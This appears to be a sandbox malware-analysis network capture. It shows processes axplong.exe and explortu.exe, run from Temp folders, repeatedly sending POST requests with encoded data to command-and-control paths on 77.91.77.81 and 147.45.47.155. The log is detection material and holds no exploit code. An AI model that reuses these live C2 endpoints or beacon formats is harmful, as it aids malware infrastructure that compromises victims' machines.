Jun 20, 2024 15:38:19.246268988 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:19.965692043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:19.966547966 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:20.188966990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:20.311372995 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:21.022362947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:21.023179054 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:21.257904053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49723	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:20.869992971 CEST	182	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000017001&unit=246122658369
Jun 20, 2024 15:38:21.532202959 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49724	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:21.370713949 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:22.079864025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:22.080733061 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:22.305326939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49725	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:21.667084932 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:22.356610060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:22.357395887 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:22.571985960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49727	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:22.416513920 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:23.278686047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:23.298480988 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:23.520118952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49728	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:22.695343971 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:23.414655924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:23.415436029 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:23.622467995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49729	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:23.639373064 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:24.326381922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:24.331669092 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:24.550515890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49730	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:23.741791964 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:24.409657955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:24.410562038 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:24.617480993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49731	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:24.717150927 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:25.401570082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:25.491054058 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:25.712696075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49732	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:25.106483936 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:25.674578905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:25.675889015 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:25.888636112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49737	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:25.837276936 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:26.731280088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:26.732151985 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:26.954286098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49740	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:26.008388042 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:26.731897116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:26.735025883 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:26.949980021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49742	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:27.111063004 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:27.782663107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
